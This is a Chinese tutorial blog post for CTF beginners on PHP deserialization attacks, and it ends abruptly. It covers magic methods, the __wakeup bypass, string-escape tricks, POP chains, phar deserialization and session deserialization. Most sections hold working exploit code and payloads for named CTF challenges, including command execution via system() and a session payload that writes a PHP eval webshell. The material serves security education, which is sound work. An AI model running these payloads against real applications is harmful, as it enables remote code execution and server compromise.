首页 后端开发 php教程 PHP反序列化入门总结(小白必看)

PHP反序列化入门总结(小白必看)

Jan 28, 2023 pm 06:04 PM
php 反序列化

PHP反序列化入门总结(小白必看)

最近写了点反序列化的题,才疏学浅,希望对CTF新手有所帮助,有啥错误还请大师傅们批评指正。

php反序列化简单理解

首先我们需要理解什么是序列化,什么是反序列化?

PHP序列化:serialize()

序列化是将变量或对象转换成字符串的过程,用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构。

PHP反序列化:unserialize()

反序列化是将字符串转换成变量或对象的过程

通过序列化与反序列化我们可以很方便的在PHP中进行对象的传递。本质上反序列化是没有危害的。但是如果用户对数据可控那就可以利用反序列化构造payload攻击。这样说可能还不是很具体,举个列子比如你网购买一个架子,发货为节省成本,是拆开给你发过去,到你手上,然后给你说明书让你组装,拆开给你这个过程可以说是序列化,你组装的过程就是反序列化

说这么多不如直接一点测试一下

php序列化的字母标识

  • a - array

  • b - boolean

  • d - double

  • i - integer

  • o - common object

  • r - reference

  • s - string

  • C - custom object

  • O - class

  • N - null

  • R - pointer reference

  • U - unicode string

  • N - NULL

测试一下

<?php  
class TEST{  
public $test1="11";  
private $test2="22";  
protected $test3="33";  
public function test4()  
{  
echo $this->test1;  
}  
}  
$a=new TEST();  
echo serialize($a);  
//O:4:"TEST":3:{s:5:"test1";s:2:"11";s:11:" TEST test2";s:2:"22";s:8:" * test3";s:2:"33";}
登录后复制

O代表类,然后后面4代表类名长度,接着双引号内是类名

然后是类中变量的个数:{类型:长度:"值";类型:长度:"值"...以此类推}

protected 和private其实是有不可打印字符的,所以这里附上截图

1.png

从图中可以看到有几个不可打印字符,关于这个还有一些特别的地方,和具体放在了后边写

有时候做题时为了防止传参中有啥意外,一般就会urlencode一下

什么是魔术方法?

做php反序列化的题总会遇到魔术方法

其实就是一种特殊方法当对对象执行某些操作时会覆盖 PHP 的默认操作

举个例子如下,这里用常见的construct和destruct魔术方法,其实就是构造函数和析构函数

<?php  
class A{  
public $a="这里是__construct";  
public function __construct()  
{  
echo $this->a;  
}  
public function __destruct()  
{  
echo $this->a="这里是__destruct";  
}  

}  
$a=new A();

//输出这里是construct这里是destruct
登录后复制

后边的题中也会给一些测试魔术方法的例子

想买给出魔术方法触发的情况,这对解题有很大帮助

  • __construct 当一个对象创建时被调用,

  • __destruct 当一个对象销毁时被调用,

  • __toString 当一个对象被当作一个字符串被调用。

  • __wakeup() 使用unserialize时触发

  • __sleep() 使用serialize时触发

  • __destruct() 对象被销毁时触发

  • __call() 对不存在的方法或者不可访问的方法进行调用就自动调用

  • __callStatic() 在静态上下文中调用不可访问的方法时触发

  • __get() 用于从不可访问的属性读取数据

  • __set() 在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用

  • __isset() 在不可访问的属性上调用isset()或empty()触发

  • __unset() 在不可访问的属性上使用unset()时触发

  • __toString() 把类当作字符串使用时触发,返回值需要为字符串

  • __invoke() 当脚本尝试将对象调用为函数时触发

光看还是了解不够,具体还得到亲自尝试才可以,下面我做了一些CTF题,在此分享给大家

简单的反序列化题

题目来自[SWPUCTF 2021 新生赛]ez_unserialize

<?php  
error_reporting(0);  
show_source("cl45s.php");  

class wllm{  

public $admin;  
public $passwd;  

public function __construct(){  
$this->admin ="user";  
$this->passwd = "123456";  
}  

public function __destruct(){  
if($this->admin === "admin" && $this->passwd === "ctf"){  
include("flag.php");  
echo $flag;  
}else{  
echo $this->admin;  
echo $this->passwd;  
echo "Just a bit more!";  
}  
}  
}  

$p = $_GET[&#39;p&#39;];  
unserialize($p);  
?>
登录后复制

construct方法里admin被赋值为user,passwd被赋值为123456,而在destruct方法需要把$this->admin === "admin" && $this->passwd === "ctf"这个式子成立才能输出flag

php反序列化是可以控制类方法的属性但不能改类方法的代码

于是我们直接更改就行,

<?php  
class wllm{  

public $admin;  
public $passwd;  
public function __construct(){  
$this->admin ="admin";  
$this->passwd = "ctf";  
}  
}  
$a=new wllm();  
echo urlencode(serialize($a));  
?>
登录后复制

然后传参就行了,一般这里要url编码一下,规避不可打印字符,前面我们提到private protected 属性 序列化出来会有不可打印字符。

__wakeup绕过

这个其实是个CVE,CVE-2016-7124

影响版本php5<5.6.25,php7<7.010

简单描述就是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

而魔术方法__wakeup执行unserialize()时,先会调用这个函数

写个代码本地测试一下

<?php  
class A{  
public $a;  
public function __construct()  
{  
$this->a="触发__construct";  
}  
public function __wakeup()  
{  
$this->a="触发__wakeup";  
}  
public function __destruct()  
{  
echo $this->a;  
}  

}  
$a=new A();  
echo serialize($a);
登录后复制

O:1:"A":1:{s:1:"a";s:17:"触发__construct";}先正常序列化一下

反序列化一下,输出触发__wakeup

2.png

O:1:"A":2:{s:1:"a";s:17:"触发__construct";} 把对象个数改为2

3.png

触发__construct,绕过了wakeup

[极客大挑战 2019]PHP __wakeup()绕过

<?php  
include &#39;class.php&#39;;  
$select = $_GET[&#39;select&#39;];  
$res=unserialize(@$select);

<?php  
include &#39;flag.php&#39;;  


error_reporting(0);  


class Name{  
private $username = &#39;nonono&#39;;  
private $password = &#39;yesyes&#39;;  

public function __construct($username,$password){  
$this->username = $username;  
$this->password = $password;  
}  

function __wakeup(){  
$this->username = &#39;guest&#39;;  
}  

function __destruct(){  
if ($this->password != 100) {  
echo "</br>NO!!!hacker!!!</br>";  
echo "You name is: ";  
echo $this->username;echo "</br>";  
echo "You password is: ";  
echo $this->password;echo "</br>";  
die();  
}  
if ($this->username === &#39;admin&#39;) {  
global $flag;  
echo $flag;  
}else{  
echo "</br>hello my friend~~</br>sorry i can&#39;t give you the flag!";  
die();  

}  
}  
}
登录后复制

看源码我们需要password=100,username=admin,但反序列化过程中wakeup方法里会把username赋值为guest;

这里我们先生成一个对象,然后序列化并Url编码,接着把它反序列化,var_dump一下看看

//$a=new Name(&#39;admin&#39;,&#39;100&#39;);  
//echo urlencode(serialize($a));  
//echo serialize($a);  
$b="O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D";  
var_dump(unserialize(urldecode($b)));
登录后复制

4.png

那么修改对象个数为大于2

O%3A4%3A%22Name%22%3A4%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
登录后复制

得到flag

5.png

POC

<?php  

 

class Name{  
private $username = &#39;admin&#39;;  
private $password = &#39;100&#39;;  

public function __construct($username,$password){  
$this->username = $username;  
$this->password = $password;  
}  


}  

$a=new Name(&#39;admin&#39;,&#39;100&#39;);  
echo urlencode(serialize($a));  
//echo serialize($a);  
//O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D  
?>
登录后复制

反序列化逃逸问题

逃逸问题的本质是改变序列化字符串的长度,导致反序列化漏洞

所以会有两种情况,一种是由长变短,一种是由短变长

由长变短

自己随手写个题测试下

<?php  
highlight_file(__FILE__);  
class A  
{  
public $a;  
public $b;  
public $c;  
public function __construct()  
{  
$this->a=$_GET[&#39;a&#39;];  
$this->b="noflag";  
$this->c=$_GET[&#39;c&#39;];  
}  
public function check()  
{  
if ($this->b==="123")  
{  
echo "flag{123dddd}";  
}  
else if ($this->a==="test")  
{  
echo "give you flag";  
}  
else  
{  
echo "no flag";  
}  
}  
public function __destruct()  
{  
$this->check();  
}  
}  
$a=new A();  
$b=serialize($a);  
$c=str_replace("aa","b",$b);  
unserialize($c);
登录后复制

这里本地写一个测试简单利用下,学会这个逃逸思路即可

$b=serialize($a);  
echo $b;  
$c=str_replace("aa","b",$b);  
echo($c);  
//O:1:"A":3:{s:1:"a";s:4:"aaaa";s:1:"b";s:6:"noflag";s:1:"c";s:2:"11";}  
//O:1:"A":3:{s:1:"a";s:4:"bb";s:1:"b";s:6:"noflag";s:1:"c";s:2:"11";}
登录后复制

这里测试一下,很明显可以看见4个aaaa 变成了两个b,但s:4依然是四个字符串,a的值就相当于是从aaaa变成了bb";这样,相当于往后吞噬掉了两位,而这个题需要$b为123才能给flag,

$this->b="noflag";而这个已经给b赋值了,我们序列化出来可以看到s:1:"b";s:6:"noflag",之前可以看出,利用这个过滤可以吞噬掉后边的序列化,那岂不是可以把后边的都吞噬掉,然后根据序列化格式补全,依然可以正常的反序列化出来,把$b的值给覆盖掉

开始构造

然后计算要吞噬掉多少位

6.png

print(len(&#39;";s:1:"b";s:6:"noflag";s:1:"c";s:3:&#39;))  
print(36*&#39;aa&#39;)  
//35  
//aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
登录后复制

35个长度,构造出来肯定超过十个了,所以s:1的1会变成十位数,多出一位,所以要+1,用36个aa

a=36个aa,c=;s:1:"b";s:3:"123

这样构造出来为

O:1:"A":3:{s:1:"a";s:72:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:";s:1:"b";s:3:"123";}

bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:

print(len(&#39;bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:&#39;))
登录后复制

刚好为72个,成功反序列化,得到flag

7.png

由短变长

题目来自ctfshowWEB262

index.php

<?php  
error_reporting(0);  
class message{  
public $from;  
public $msg;  
public $to;  
public $token=&#39;user&#39;;  
public function __construct($f,$m,$t){  
$this->from = $f;  
$this->msg = $m;  
$this->to = $t;  
}  
}  

$f = $_GET[&#39;f&#39;];  
$m = $_GET[&#39;m&#39;];  
$t = $_GET[&#39;t&#39;];  

if(isset($f) && isset($m) && isset($t)){  
$msg = new message($f,$m,$t);  
$umsg = str_replace(&#39;fuck&#39;, &#39;loveU&#39;, serialize($msg));  
setcookie(&#39;msg&#39;,base64_encode($umsg));  
echo &#39;Your message has been sent&#39;;  
}
登录后复制

highlight_file(FILE);

从题目注释里可以找到message.php

message.php源码

<?php  

highlight_file(__FILE__);  
include(&#39;flag.php&#39;);  

class message{  
public $from;  
public $msg;  
public $to;  
public $token=&#39;user&#39;;  
public function __construct($f,$m,$t){  
$this->from = $f;  
$this->msg = $m;  
$this->to = $t;  
}  
}  

if(isset($_COOKIE[&#39;msg&#39;])){  
$msg = unserialize(base64_decode($_COOKIE[&#39;msg&#39;]));  
if($msg->token==&#39;admin&#39;){  
echo $flag;  
}  
}
登录后复制

很明显,要想得到flag要把token值更改为admin

但是正常反序列化,字符串个数是固定的,$umsg = str_replace('fuck', 'loveU', serialize($msg));但是这里fuck被替换为loveU,四个字符被替换成五个字符,简单演示一下

<?php  
class test  
{  
public $username="fuckfuck";  
public $password;  

}  

$a=new test();  
//echo serialize($a);  
echo str_replace(&#39;fuck&#39;,&#39;loveU&#39;,serialize($a));  
//O:4:"test":2:{s:8:"username";s:8:"fuckfuck";s:8:"password";N;}  
//O:4:"test":2:{s:8:"username";s:8:"loveUloveU";s:8:"password";N;}
登录后复制

可以很明显的看出来,s:8字符串应该是8个,替换后变为10个,因为有两个fuck,这样还看不出来什么,如果我们把多的字符串改为";s:5:"token";s:5:"admin";}而此时后面的";s:5:"token";s:4:"user";}这个就无效了

因为php在反序列化时,底层代码是以;作为字段的分隔,以}作为结尾,并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化

伪造的序列化字符串变成真的了,伪造的序列化字符串长度为27,loveU比fuck多一位

那么需要27个fuck就行

payload
?f=1
&m=1
&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
登录后复制

然后访问message.php即可 当然这个有非预期解,直接修改token值写到cookie里就行,不过关键是了解到反序列化字符串逃逸问题的思路

POP链构造

做这种题关键是php魔术方法,构造PHP先找到头部和尾部,头部就是用户可控的地方,也就是可以传入参数的地方,然后找尾部,比如关键代码,eval,file_put_contents这种,然后从尾部开始推导,根据魔术方法的特性,一步一步往上触发,根据下面的题,来学习下

[SWPUCTF 2021 新生赛]pop

题目源码

<?php  

error_reporting(0);  
show_source("index.php");  

class w44m{  

private $admin = &#39;aaa&#39;;  
protected $passwd = &#39;123456&#39;;  

public function Getflag(){  
if($this->admin === &#39;w44m&#39; && $this->passwd ===&#39;08067&#39;){  
include(&#39;flag.php&#39;);  
echo $flag;  
}else{  
echo $this->admin;  
echo $this->passwd;  
echo &#39;nono&#39;;  
}  
}  
}  

class w22m{  
public $w00m;  
public function __destruct(){  
echo $this->w00m;  
}  
}  

class w33m{  
public $w00m;  
public $w22m;  
public function __toString(){  
$this->w00m->{$this->w22m}();  
return 0;  
}  
}  

$w00m = $_GET[&#39;w00m&#39;];  
unserialize($w00m);  

?>
登录后复制

POP链入手,先找关键代码,然后推断

需要admin为w44m,passwd为08067 才能得到flag

if($this->admin === &#39;w44m&#39; && $this->passwd ===&#39;08067&#39;){
echo $flag;
登录后复制

发现可以利用$this->w00m->{$this->w22m}();

这个地方,修改w22m=getflag,那么这个地方就有getflag()函数了

在类w22m中 方法__destruct中echo $this->w00m;echo了一个对象,会触发tostring方法

前面魔术方法提到

__toString 当一个对象被当作一个字符串被调用。这样的话我们便可以利用to_Sting方法里面的代码了,传参点是w00m,

链子构造为 w22m::__destruct->w33m::toString->w44m::getflag

poc如下,这里要用urlencode,因为我们前面提到private和protected生产序列化有不可见字符

<?php  
class w44m{  

private $admin = &#39;w44m&#39;;  
protected $passwd = &#39;08067&#39;;  

}  
class w22m{  
public $w00m;  
public function __destruct(){  
echo $this->w00m;  
}  
}  
class w33m{  
public $w00m="";  
public $w22m="getflag";  
public function __toString(){  
$this->w00m->{$this->w22m}();  
return 1;  
}  
}  
$a=new w22m();  
$a->w00m=new w33m();  
$a->w00m->w00m=new w44m();  
echo urlencode( serialize($a));  


?>
登录后复制

[NISACTF 2022]babyserialize

<?php  
include "waf.php";  
class NISA{  
public $fun="show_me_flag";  
public $txw4ever;  
public function __wakeup()  
{  
if($this->fun=="show_me_flag"){  
hint();  
}  
}  

function __call($from,$val){  
$this->fun=$val[0];  
}  

public function __toString()  
{  
echo $this->fun;  
return " ";  
}  
public function __invoke()  
{  
checkcheck($this->txw4ever);  
@eval($this->txw4ever);  
}  
}  

class TianXiWei{  
public $ext;  
public $x;  
public function __wakeup()  
{  
$this->ext->nisa($this->x);  
}  
}  

class Ilovetxw{  
public $huang;  
public $su;  

public function __call($fun1,$arg){  
$this->huang->fun=$arg[0];  
}  

public function __toString(){  
$bb = $this->su;  
return $bb();  
}  
}  

class four{  
public $a="TXW4EVER";  
private $fun=&#39;abc&#39;;  

public function __set($name, $value)  
{  
$this->$name=$value;  
if ($this->fun = "sixsixsix"){  
strtolower($this->a);  
}  
}  
}  

if(isset($_GET[&#39;ser&#39;])){  
@unserialize($_GET[&#39;ser&#39;]);  
}else{  
highlight_file(__FILE__);  
}  

//func checkcheck($data){  
// if(preg_match(......)){  
// die(something wrong);  
// }  
//}  

//function hint(){  
// echo ".......";  
// die();  
//}  
?>

查看了一下提示发现什么也没有

if(isset($_GET[&#39;ser&#39;])){@unserialize($_GET[&#39;ser&#39;]);

这是头部

这是尾部

public function __invoke(){checkcheck($this->txw4ever);@eval($this->txw4ever);

}
登录后复制

从__invoke()这里开始触发

__invoke() 当脚本尝试将对象调用为函数时触发

return $bb()而这里有一个函数调用

那么$bb是class Nisa的对象就会调用 __invoke

触发$bb要调用 __toString()

而__toString()是

当一个对象被当作一个字符串被调用。

找类似echo 这种代码,而这里有个strtolower

8.png

strtolower是在set方法里的

__set触发

在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用

在four类的中有private $fun='abc';

Ilovetxw类中的__call方法访问了fun这个变量

function __call($from,$val){  
$this->fun=$val[0];  
}
登录后复制

而__call方法

对不存在的方法或者不可访问的方法进行调用就自动调用

TianXiWei类中的wakeup会触发call

$this->ext->nisa($this->x); nisa()这个方法并不存在

这里详细说下

<?php  
class nisa  
{  
public $b="";  
}  
class TianXiWei{  
public $ext;  
public $x;  
public function __wakeup()  
{  
$this->ext->nisa($this->x);  
}  
}  

class test  
{  
public $a ="";  
public function __call($a,$b)  
{  
echo "call";  
}  
}  
$a=new TianXiWei();  
$a->ext=new test();  
//echo urlencode(serialize($a));  
echo serialize($a);//O:9:"TianXiWei":2:{s:3:"ext";O:4:"test":1:{s:1:"a";s:0:"";}s:1:"x";N;}  
//echo serialize($a->ext);//O:4:"test":1:{s:1:"a";s:0:"";}
登录后复制

wakeup方法反序列化会触发,而里面nisa方法并不存在,$a->ext=new test()这样会触发到call,在本地测试的时候这样调用会echo call,另外我们可以看出序列化$a和$->ext是不一样的结果

链子很清晰了

TianXiWei::__wakeup->Ilovetxw::__call->four::__set->Ilovetxw::__toString->NISA::__invoke

POC

<?php  
class NISA  
{  
public $fun = "";  
public $txw4ever = "sYstem(&#39;ls /&#39;);";//有过滤,大小写绕过  
}  
class TianXiWei{  
public $ext;  
public $x;  
}  
class Ilovetxw{  
public $huang;  
public $su;  
}  
class four{  
public $a="TXW4EVER";  
private $fun=&#39;abc&#39;;  

}  
$a=new TianXiWei();//从这里下手触发__wakeup  
$a->ext=new Ilovetxw();//触发__call  
$a->ext->huang=new four();//触发__set  
$a->ext->huang->a=new Ilovetxw();//触发__tosrting  
$a->ext->huang->a->su=new NISA();//触发__invoke  
echo urlencode(serialize($a));
登录后复制

相信到这里,做这种题已经有一定思路了,不要着急,找到方向,然后一步一步去构造

phar反序列化

单的理解phar反序列化

phar是什么?

phar是php提供的一类文件的后缀名称,也是php伪协议的一种。

phar可以干什么?

将多个php文件合并成一个独立的压缩包,相对独立

不用解压到硬盘就可以运行php脚本

支持web服务器和命令行运行

注意要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件

9.png

phar文件的的结构

一个phar文件通常由四部分组成,

  • a stub:可以理解为一个标志,格式为xxx,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

  • a manifest describing the contents:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

  • the file contents:被压缩文件的内容。这里不是重点,内容不影响

  • [optional] a signature for verifying Phar integrity (phar file format only):签名,放在文件末尾

<?php  
class Test {//自定义  
}  

@unlink("phar.phar");  
$phar = new Phar("phar.phar"); //后缀名必须为phar  
$phar->startBuffering();  
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub  
$o = new Test();  
$phar->setMetadata($o); //将自定义的meta-data存入manifest  
$phar->addFromString("test.txt", "test"); //添加要压缩的文件  
//签名自动计算  
$phar->stopBuffering();  

?>
登录后复制

生成一个phar.phar文件

10.png

拉进010分析

11.png

可以清楚看到一个标识符,一个序列化,一个文件名

有序列化数据必然会有反序列化操作 ,php一大部分的文件系统函数 通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化 ,受影响的函数如下

is_dir(),is_file(),is_link(),copy(),file(),stat(),readfile(),unlink(),filegroup(),fileinode(),fileatime(),filectime(),fopen(),filemtime(),fileowner(),fileperms(),file_exits(),file_get_contents(),file_put_contents(),is_executable(),is_readable(),is_writable(),parse_ini_file

<?php  
highlight_file(__FILE__);  
class Test {//自定义  
public $name=&#39;phpinfo();&#39;;  
}  
$phar=new phar(&#39;rce.phar&#39;);  
$phar->startBuffering();  
$phar->setStub("<?php __HALT_COMPILER(); ?>");  
$o=new Test();  
$phar->setMetadata($o);  
$phar->addFromString("flag.txt","flag");//添加要压缩的文件  
//签名自动计算  
$phar->stopBuffering();  
?>
登录后复制

这里用file_get_contents测试下

<?php  
class test{  
public $name=&#39;&#39;;  
public function __destruct()  
{  
eval($this->name);  
}  
}  

echo file_get_contents(&#39;phar://rce.phar/flag.txt&#39;);  
?>
登录后复制

12.png

漏洞利用条件

  • phar文件要能够上传到服务器端。

  • 要有可用的魔术方法作为“跳板”。

  • 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。

姿势

compress.bzip://phar:///test.phar/test.txt compress.bzip2://phar:///test.phar/test.txt compress.zlib://phar:///home/sx/test.phar/test.txt php://filter/resource=phar:///test.phar/test.txt

php://filter/read=convert.base64-encode/resource=phar://phar.phar
登录后复制

可以用于文件上传,有文件上传头限制,还可以这样,例如GIF

$phar->setStub(“GIF89a”."<?php __HALT_COMPILER(); ?>"); //设置stub 这样可以生成一个phar.phar,修改后缀名为phar.gif
登录后复制

[SWPUCTF 2021 新生赛]babyunser phar反序列化

查看class.php获取源码

<?php  
class aa{  
public $name;  

public function __construct(){  
$this->name=&#39;aa&#39;;  
}  

public function __destruct(){  
$this->name=strtolower($this->name);  
}  
}  

class ff{  
private $content;  
public $func;  

public function __construct(){  
$this->content="<?php @eval($_POST[1]);?>";  
}  

public function __get($key){  
$this->$key->{$this->func}($_POST[&#39;cmd&#39;]);  
}  
}  

class zz{  
public $filename;  
public $content=&#39;surprise&#39;;  

public function __construct($filename){  
$this->filename=$filename;  
}  

public function filter(){  
if(preg_match(&#39;/^/|php:|data|zip|..//i&#39;,$this->filename)){  
die(&#39;这不合理&#39;);  
}  
}  

public function write($var){  
$filename=$this->filename;  
$lt=$this->filename->$var;  
//此功能废弃,不想写了  
}  

public function getFile(){  
$this->filter();  
$contents=file_get_contents($this->filename);  
if(!empty($contents)){  
return $contents;  
}else{  
die("404 not found");  
}  
}  

public function __toString(){  
$this->{$_POST[&#39;method&#39;]}($_POST[&#39;var&#39;]);  
return $this->content;  
}  
}  

class xx{  
public $name;  
public $arg;  

public function __construct(){  
$this->name=&#39;eval&#39;;  
$this->arg=&#39;phpinfo();&#39;;  
}  

public function __call($name,$arg){  
$name($arg[0]);  
}  
}

<?php  
error_reporting(0);  
$filename=$_POST[&#39;file&#39;];  
if(!isset($filename)){  
die();  
}  
$file=new zz($filename);  
$contents=$file->getFile();  
?>  
<br>  
<textarea class="file_content" type="text" value=<?php echo "<br>".$contents;?>
登录后复制

构造链子

先找到关键的代码$this->$key->{$this->func}($_POST['cmd']);,通过这个可以构造命令执行,所以要想办法触发__get($key),

__get() 用于从不可访问的属性读取数据,ff类的 private $content;是不可访问的属性

访问content可以触发get() ,而aa::destruct方法里面有$this->name=strtolower($this->name),strtolower这个函数之前提到,可以触发tostring,利用它去触发zz::_tostring方法,利用方法里的$this->{$POST['method']}($_POST['var']);去构造method=write&var=content,

aa::destruct()->zz::toString()->zz::write->xx->ff::__get()

看着好奇怪,为什么要用write去这样钩爪,因为__get()触发需要,构造write函数进行访问content成员,不仅要用这个属性去new一个对象,还要对它进行访问

如下代码进行测试

<?php  
class test  
{  
private $a;  
public $b;  

public function __construct($a,$b)  
{  
$this->a="aaa";  
$this->b="bbb";  

}  
public function __get($name)  
{  
// TODO: Implement __get() method.  

$this->a="__get";  
$this->b="111";  
}  
public function __destruct()  
{  
echo $this->a;  
echo $this->b;  
}  
}  
$a =new test("s","s");  
//echo $a->a;  
$b=serialize($a);  
unserialize($b);
登录后复制

注释掉echo 输出是aaabbbaaabbb

去掉注释输出是get111get111

如此那么构造POP链子

<?php  
class aa{  
public $name;  
}  
class ff{  
private $content;  
public $func;  
public function __construct(){  
$this->content=new xx();//这里New xx  
}  
}  
class zz{  
public $filename;  
public $content;  
}  
class xx  
{  
public $name;  
public $arg;  
}  

$a=new aa();  
$c=new ff();  
$a->name=new zz();  
$c->func="system";  
$a->name->filename=$c;  

$phar = new Phar("flag.phar"); //后缀名必须为phar  
$phar->startBuffering();  
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub  
//$o = new Test();  
$phar->setMetadata($a); //将自定义的meta-data存入manifest  
$phar->addFromString("test.txt", "test"); //添加要压缩的文件  
//签名自动计算  
$phar->stopBuffering();
登录后复制

13.png

上传之后使用phar协议读取

file=phar://upload%2Fab83ba92f17bf9599f4bfc31f92811f2.txt&method=write&var=content&cmd=cat /flag

session反序列化

session与cookie很像,都是客户端与服务端会话时,用户的标识, PHP session 解决了这个问题,它通过在服务器上存储用户信息以便随后使用(比如用户名称、购买商品等)。然而,会话信息是临时的,在用户离开网站后将被删除。如果您需要永久存储信息,可以把数据存储在数据库中。

而session是以文件方式存储的

直接找一道题做做

题目来自ctfshowWEB263

打开是一个登录页面,用目录扫描扫一下,这里我用的是dirsearch

dirsearch -u "http://4b00e046-35c4-458d-93e7-e3ff83049288.challenge.ctf.show/" -e*

14.png

存在源码泄露,访问www.zip,下载下来源码,关键代码

index.php源码

*/  
error_reporting(0);  
session_start();  
//超过5次禁止登陆  
if(isset($_SESSION[&#39;limit&#39;])){  
$_SESSION[&#39;limti&#39;]>5?die("登陆失败次数超过限制"):$_SESSION[&#39;limit&#39;]=base64_decode($_COOKIE[&#39;limit&#39;]);  
$_COOKIE[&#39;limit&#39;] = base64_encode(base64_decode($_COOKIE[&#39;limit&#39;]) +1);  
}else{  
setcookie("limit",base64_encode(&#39;1&#39;));  
$_SESSION[&#39;limit&#39;]= 1;  
}  

?>
登录后复制

check.php源码

<?php  

/*  
# -*- coding: utf-8 -*-  
# @Author: h1xa  
# @Date: 2020-09-03 16:59:10  
# @Last Modified by: h1xa  
# @Last Modified time: 2020-09-06 19:15:38  
# @email: h1xa@ctfer.com  
# @link: https://ctfer.com  

*/  

error_reporting(0);  
require_once &#39;inc/inc.php&#39;;  
$GET = array("u"=>$_GET[&#39;u&#39;],"pass"=>$_GET[&#39;pass&#39;]);  


if($GET){  

$data= $db->get(&#39;admin&#39;,  
[ &#39;id&#39;,  
&#39;UserName0&#39;  
],[  
"AND"=>[  
"UserName0[=]"=>$GET[&#39;u&#39;],  
"PassWord1[=]"=>$GET[&#39;pass&#39;] //密码必须为128位大小写字母+数字+特殊符号,防止爆破  
]  
]);  
if($data[&#39;id&#39;]){  
//登陆成功取消次数累计  
$_SESSION[&#39;limit&#39;]= 0;  
echo json_encode(array("success","msg"=>"欢迎您".$data[&#39;UserName0&#39;]));  
}else{  
//登陆失败累计次数加1  
$_COOKIE[&#39;limit&#39;] = base64_encode(base64_decode($_COOKIE[&#39;limit&#39;])+1);  
echo json_encode(array("error","msg"=>"登陆失败"));  
}  
}

inc.php中有一个这个

ini_set(&#39;session.serialize_handler&#39;, &#39;php&#39;);

而session存储格式(序列化)其中有这两种

ini_set(&#39;session.serialize_handler&#39;, &#39;php&#39;);

ini_set(&#39;session.serialize_handler&#39;, &#39; php_serialize &#39;);
登录后复制

测试一下看这两个什么区别

<?php  
ini_set(&#39;session.serialize_handler&#39;,&#39;php&#39;);  
session_start();  
class test1{  
public $a="test";  
}  
$a=new test1();  
$_SESSION[&#39;user&#39;]=$a;
登录后复制

在tmp下找到这个文件打开看

user|O:5:"test1":1:{s:1:"a";s:4:"test";}

<?php  
ini_set(&#39;session.serialize_handler&#39;,&#39;php_serialize&#39;);  
session_start();  
class test1{  
public $a="test";  
}  
$a=new test1();  
$_SESSION[&#39;user&#39;]=$a;

a:1:{s:4:"user";O:5:"test1":1:{s:1:"a";s:4:"test";}}
登录后复制

两种方式的区别主要是“|”符号,在php机制中,只会序列化“|”符号后面的内容

inc.php中关键代码

class User{  
public $username;  
public $password;  
public $status;  
function __construct($username,$password){  
$this->username = $username;  
$this->password = $password;  
}  
function setStatus($s){  
$this->status=$s;  
}  
function __destruct(){  
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format(&#39;Y-m-d H:i:s&#39;));  
}  
}

function __destruct(){

file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format(&#39;Y-m-d H:i:s&#39;));

}
登录后复制

可以利用这个函数写一句话木马

而session_start() 函数会解析 session 文件,就相当于进行了反序列化,session值我们是可控的,这样的话反序列化有了,只要构造出序列化字符串触发 User类 的 __destruct方法就可以了

<?php  
class User  
{  
public $username;  
public $password;  

function __construct($username, $password)  
{  
$this->username = $username;  
$this->password = $password;  
}  
}  
$a=new User(&#39;1.php&#39;,&#39;<?php eval($_POST["1"]);?>&#39;);  
echo base64_encode("|".serialize($a));
登录后复制

访问的时候文件名是log-拼接,所以是log-1.php,index.php里面三元条件运算符:$SESSION['limti']>5?die("登陆失败次数超过限制"):$SESSION['limit']=base64_decode($_COOKIE['limit')

第一个式子不成立,则执行$SESSION['limit']=base64_decode($COOKIE['limit')

,因为有base64_decode,所以这里我们还有base64_encode一下

抓包改limit值

15.png

然后发包,接着访问check.php 实现反序列化shell的写入

16.png

然后变更请求方法,注意直接右键选择变更POST请求

17.png

tricks总结

16进制绕过字符过滤

//O:1:"A":1:{s:2:"ab";s:4:"test";}  
//O:1:"A":1:{S:2:"61b";s:4:"test";}//s改为大写S会被当成16进制解析 //61是a的16进制
登录后复制

php类名对大小写不敏感

ctfshowWEB266

<?php  

highlight_file(__FILE__);  

include(&#39;flag.php&#39;);  
$cs = file_get_contents(&#39;php://input&#39;);  


class ctfshow{  
public $username=&#39;xxxxxx&#39;;  
public $password=&#39;xxxxxx&#39;;  
public function __construct($u,$p){  
$this->username=$u;  
$this->password=$p;  
}  
public function login(){  
return $this->username===$this->password;  
}  
public function __toString(){  
return $this->username;  
}  
public function __destruct(){  
global $flag;  
echo $flag;  
}  
}  
$ctfshowo=@unserialize($cs);  
